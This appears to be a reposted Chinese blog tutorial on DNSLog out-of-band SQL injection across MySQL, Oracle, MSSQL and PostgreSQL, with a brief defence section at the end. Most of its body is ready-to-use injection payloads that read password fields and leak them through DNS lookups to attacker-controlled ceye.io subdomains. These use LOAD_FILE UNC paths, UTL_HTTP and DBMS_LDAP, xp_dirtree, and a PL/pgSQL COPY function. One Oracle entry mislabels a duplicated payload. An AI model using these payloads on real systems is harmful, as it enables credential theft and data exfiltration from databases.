数据库DNSLog外带注入-总结

*爱你&永不变心* 提交于 2021-02-13 18:33:47



sql注入中利用的骚姿势你又知道几个?




DNSLog外带注入和DNSlog带外注入?(OOB)



            其实是一样的,叫法不同!本人还是习惯叫外带注入,自我感觉,比较顺口



为什么需要外带注入?


            当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。



            of course!这里主讲DNSlog外带注入



mysql-DNSlog外带注入:

    

    利用条件:

                        

         1. mysql.ini 中 secure_file_priv 必须为空。


       ( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv =   )

mysql 新版本下secure-file-priv字段 :secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制


        2.  从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上。


UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器, UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机.

UNC命名语法


            ========


UNC命名使用特定的标记法来识别网络资源. UNC命名由三个部分组成- 服务器名, 共享名, 和一个可选的文件路径. 这三个部分通过backslash连接起来, 如下:


            \\server\share\file_path


 这里的server部分引用的是由DNS或者WINS网络服务维护的字符串. 服务器名是由system administrator设定的.


 

share部分引用了由系统管理员创建的一个label. 在绝大多数版本的windows中, 比如说, 共享名admin$指的是操作系统安装的根路径(通常是C:\WINNT 或 C:\WINDOWS).



file部分引用在共享点之下的本地子文件夹.



UNC命名实例:


                    \\teela\admin$ (to reach C:\WINNT)

                    \\teela\admin$\system32 (to reach C:\WINNT\system32)

                    \\teela\temp (to reach C:\temp)

 

通过使用Windows Exlorer或者DOM命令行, 再加上恰当的安全证明, 你可以通过指定UNC名字来映射网络驱动器, 远程地访问一台计算机上的文件夹.


参考文章:https://www.lifewire.com/unc-universal-naming-convention-818230


 接受DNS请求的DNSlog平台:    

  • http://www.dnslog.cn

  • http://ceye.io

  • 也可以自己手动搭建,工具地址:https://github.com/bugscanteam/dnslog/


本地环境复现:

                 

            在ceye.io申请一个账号

             

              本地mysql查询,带入查询的数据包版本信息

                

    

                这里稍微解释一下,concat()是把各种字符串组合起来,满足UNC命名规则


这里成功收到DNS请求查询记录:

                



      注意:

                

             这里的\\\\转义之后为\\


                查询的数据如果有特殊符号可以进行编码,如hex()

                

                unc有长度限制,长度不能超过128



oracle-DNSlog外带注入:

            

        四种可以利用函数:


             

               UTL_HTTP.REQUEST函数


select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.mdk941.ceye.io') FROM sys.DUAL;


               DBMS_LDAP.INIT函数


select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.mdk941.ceye.io',80) FROM sys.DUAL;


               HTTPURITYPE函数


select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.mdk941.ceye.io').GETCLOB() FROM sys.DUAL;


               UTL_INADDR.GET_HOST_ADDRESS函数


select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.mdk941.ceye.io').GETCLOB() FROM sys.DUAL;


注意:


            ||在oracle中并不是运算符,而是起到字符拼接的作用





MSSQL-DNSLog外带注入:

                

            
            

http://127.0.0.1/mssql.php?id=1;


DECLARE @host varchar(1024);       //定义变量host,定义数据类型


SELECT@host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 

FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';  //把查询到的数据拼接到UNC字符串中,然后再赋给变量host


EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); 

                


//master..xp_dirtree函数   用于获取所有文件夹的列表和给定文件夹内部的子文件夹




当然也可以替换成另外两个函数:


                

master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)

master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)




postgres-DNSLog外带注入:


    http://127.0.0.1/pgSQL.php?id=1;


    DROP TABLE IF EXISTS table_output; //判断table_output这个表是否存在,存在就删掉

     

    CREATE TABLE table_output(content text);//创建table_output表

     

    CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE      exec_cmd TEXT;//开始定义temp_function()函数

     

    DECLARE query_result TEXT;//定义query_result 游标,数据类型为text


    BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user          where id =1);//BEGIN为temp_function()函数内容开始地方,把查询的数据插入 query_result游标中

     

    exec_cmd := E'COPY table_output(content) FROM   E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';//COPY (用于在文件系统的文件和表之间拷贝数据)

     

  EXECUTE exec_cmd;

     

  END;//temp_function()函数结束

 

$$ LANGUAGE plpgSQL SECURITY DEFINER;//设置被调用时的角色,以及参数


SELECT temp_function();//执行temp_function()函数




注意:

        

      PostgreSQL支持无需创建出来即可执行的function。

       PostgreSQL数据类型中的text,实际上是一个长度不受限制的字符串,就像 varchar 一样,只是不需要定义最大长度。这是一个 PostgreSQL 针对 SQL 标准做的扩展。

        security definer存在安全隐患,可以绕过超级管理员设置的认证。






            

防御:



为了预防所本文描述的攻击,首先要避免SQLI具有最高的优先权, 在这里我们 语句 都是假定是最高 权限, 因为在某些数据库,低权限用户 使用函数 将受到限制

使用预处理语句被认为是最安全的预防措施, 处理 语句能在S QL命 令被插入的时候确保 查询的 意图不 被攻击者改变, 但像magic_q uote()和addslas he s()那样的各种禁 制机制并不能完全防止 SQLI漏洞的存在或利用,因为在某 些技术配合使 用的环境条件下,攻击者仍能利 用该漏洞

为了成功最后缓解DNS渗出攻击,管理员必须确保所有不必要的系统子程序的执行是被限制的。 如果一 切都失败了,攻 击者必须不能够运行那些可以发起DNS请求的程序。 现在有一些检测域内DNS流量中恶意活动的工作 ,但大多缺乏实际和主流的解决方案,所以在这里并不提及


SqlMap已经对它实现支持,因此所有人都可以对它进行进一步研究。


转载此文章,请标明出处。

关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

扫码领hacker资料,常用工具,以及各种福利

                        




      



                



        


            

本文分享自微信公众号 - Sec盾(Sec_Shield)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!